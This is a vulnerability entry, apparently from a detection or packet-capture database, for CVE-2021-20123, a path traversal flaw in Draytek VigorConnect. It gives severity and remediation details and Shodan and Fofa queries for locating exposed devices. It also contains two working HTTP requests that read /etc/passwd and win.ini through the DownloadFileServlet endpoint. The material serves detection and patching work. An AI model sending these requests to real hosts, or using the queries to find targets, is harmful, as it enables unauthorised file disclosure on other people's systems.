| Title | Draytek VigorConnect 1.6.0-B - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93989 |
| CVE ID | CVE-2021-20123 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"VigorConnect"http.html:"vigorconnect" |
| Fofa Query | body="vigorconnect" |
| Tags | cve2021 cve draytek lfi vigorconnect tenable kev vkev vuln |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20123.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20123.pcap
N/AN/A